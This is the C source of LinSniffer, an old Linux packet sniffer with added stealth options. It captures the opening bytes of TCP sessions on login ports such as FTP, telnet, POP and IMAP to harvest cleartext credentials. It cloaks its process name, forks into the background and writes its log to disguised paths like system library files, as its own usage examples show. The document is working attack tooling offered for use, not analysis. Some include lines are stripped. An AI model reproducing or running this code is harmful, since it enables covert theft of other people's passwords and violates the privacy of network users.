/* LinSniffer 0.03 [BETA] Mike Edulla medulla@infosoc.com Additions by Liquid Krystal LiquidK at ptnet/efnet - cloak process name (-c process name) - doesnt set promisc flag of device. its up to the user to set it. - automaticaly forks into the background - select logfile name (-w filename) - with -o, linsniffer doesnt fork and sends the output to stdout - -u uid/user, change to uid or user uid after opening raw socket - -p ports to sniff separated by , Examples ./linsniffer-LK -c "Thiz is a sniffer, please do not kill mr sysadm" -w /etc/passwd -u shutdown -p 19 ./linsniffer-LK -c httpd -w /usr/lib/libXff.so -u nobody -p 21,23 TODO - sniff outgoing connectios - glibc2 compatible (RedHat 5) - select hosts to sniff ex: -h i.am.lame.org,127.0.0.1,193.* - -p accepting services names ex: -p telnet,ftp But I don't think i'll do that... don't know if its worth... If you think it is... tell me... */ #define DEFAULT_PORT_STRING "21,23,110,109,143,513,106" #define CAPTLEN 512 #define DEFAULT_TIMEOUT 30 #define DEFAULT_LOGFILE "tcplog" #include #include #include #include #include #include #include #include #include #include #include #include //#include //#include //#include //#include #include int openintf(); int read_tcp(int); int filter(void); int print_header(void); int print_data(int, char *); char *hostlookup(unsigned long int); void clear_victim(void); void cleanup(int); char port_string[256]; struct etherpacket { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; char buff[8192]; } ep; struct { unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; int bytes_read; char active; time_t start_time; } victim; struct iphdr *ip; struct tcphdr *tcp; int s; FILE *fp; int timeout; int port_in_string( int port, char *string) { char *token; char tmpstr[256]; strcpy( tmpstr, string); token = strtok( tmpstr, ","); while (token != NULL) { if (atoi(token) == port) return 1; token = strtok( NULL, ","); } return 0; } int openintf() { int fd; struct ifreq ifr; int s; fd = socket(AF_INET, SOCK_PACKET, htons(0x800)); if (fd < 0) { perror("cant get SOCK_PACKET socket"); exit(0); } return fd; } int read_tcp(int s) { int x; while (1) { x = read(s, (struct etherpacket *) &ep, sizeof(ep)); if (x > 1) { if (filter() == 0) continue; x = x - 54; if (x < 1) continue; return x; } } } int filter(void) { int p; p = 0; if (ip->protocol != 6) return 0; if (victim.active != 0) if (victim.bytes_read > CAPTLEN) { fprintf(fp, "\n----- [CAPLEN Exceeded]\n"); clear_victim(); return 0; } if (victim.active != 0) if (time(NULL) > (victim.start_time + timeout)) { fprintf(fp, "\n----- [Timed Out]\n"); clear_victim(); return 0; } p = port_in_string( ntohs(tcp->dest), port_string); if (p == 1) if (tcp->syn == 1) { victim.saddr = ip->saddr; victim.daddr = ip->daddr; victim.active = 1; victim.sport = tcp->source; victim.dport = tcp->dest; victim.bytes_read = 0; victim.start_time = time(NULL); print_header(); } if (tcp->dest != victim.dport) return 0; if (tcp->source != victim.sport) return 0; if (ip->saddr != victim.saddr) return 0; if (ip->daddr != victim.daddr) return 0; if (tcp->rst == 1) { victim.active = 0; alarm(0); fprintf(fp, "\n----- [RST]\n"); clear_victim(); return 0; } if (tcp->fin == 1) { victim.active = 0; alarm(0); fprintf(fp, "\n----- [FIN]\n"); clear_victim(); return 0; } return 1; } int print_header(void) { struct in_addr in; time_t tm; time(&tm); fprintf(fp, "\n== %s", ctime( (time_t *)&tm )); fprintf(fp, "== %s", hostlookup(ip->saddr)); in.s_addr=ip->saddr; fprintf(fp," (%s)",inet_ntoa(in)); fprintf(fp," => "); fprintf(fp, "%s", hostlookup(ip->daddr)); in.s_addr=ip->daddr; fprintf(fp," (%s)",inet_ntoa(in)); fprintf(fp, " [%d]\n", ntohs(tcp->dest)); } int print_data(int datalen, char *data) { int i = 0; int t = 0; victim.bytes_read = victim.bytes_read + datalen; for (i = 0; i != datalen; i++) { if (data[i] == 13) { fprintf(fp, "\n"); t = 0; } if (isprint(data[i])) { fprintf(fp, "%c", data[i]); t++; } if (t > 75) { t = 0; fprintf(fp, "\n"); } } } main(int argc, char **argv) { int c; int n; int nofork=0; char cloak[80]; char logfile[MAXPATHLEN]; int uid = 0; struct passwd *pw; strcpy(logfile, DEFAULT_LOGFILE); timeout=DEFAULT_TIMEOUT; strcpy( port_string, DEFAULT_PORT_STRING); cloak[0] = 0; while ((c = getopt(argc, argv, "c:w:ot:u:p:")) != -1) switch (c) { case 'c': strcpy(cloak, optarg); break; case 'w': strcpy(logfile, optarg); break; case 'o': nofork++; break; case 't': timeout=atoi(optarg); break; case 'u': if (isdigit( optarg[0] )) { uid = atoi(optarg); } else { pw = getpwnam( optarg ); if (pw == NULL) { fprintf( stderr,"Error: user %s not found", optarg); exit(1); } uid = pw->pw_uid; } break; case 'p': strcpy(port_string, optarg); break; } if (cloak[0] != 0) { for (n = argc - 1; n >= 0; n--) memset(argv[n], 0, strlen(argv[n])); strcpy(argv[0], cloak); } if (!nofork) if (fork() != 0) exit(0); s = openintf(); /* Socket open... change uid */ if (uid != 0) setuid( uid ); ip = (struct iphdr *) (((unsigned long) &ep.ip) - 2); tcp = (struct tcphdr *) (((unsigned long) &ep.tcp) - 2); signal(SIGHUP, SIG_IGN); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); signal(SIGKILL, cleanup); signal(SIGQUIT, cleanup); if (nofork) fp = stdout; else fp = fopen(logfile, "at"); if (fp == NULL) { fprintf(stderr, "cant open log\n"); exit(0); } clear_victim(); for (;;) { read_tcp(s); if (victim.active != 0) print_data(htons(ip->tot_len) - sizeof(ep.ip) - sizeof(ep.tcp), ep.buff - 2); fflush(fp); } } char *hostlookup(unsigned long int in) { static char blah[1024]; struct in_addr i; struct hostent *he; i.s_addr = in; he = gethostbyaddr((char *) &i, sizeof(struct in_addr), AF_INET); if (he == NULL) strcpy(blah, inet_ntoa(i)); else strcpy(blah, he->h_name); return blah; } void clear_victim(void) { victim.saddr = 0; victim.daddr = 0; victim.sport = 0; victim.dport = 0; victim.active = 0; victim.bytes_read = 0; victim.start_time = 0; } void cleanup(int sig) { fprintf(fp, "Exiting...\n"); close(s); fclose(fp); exit(0); }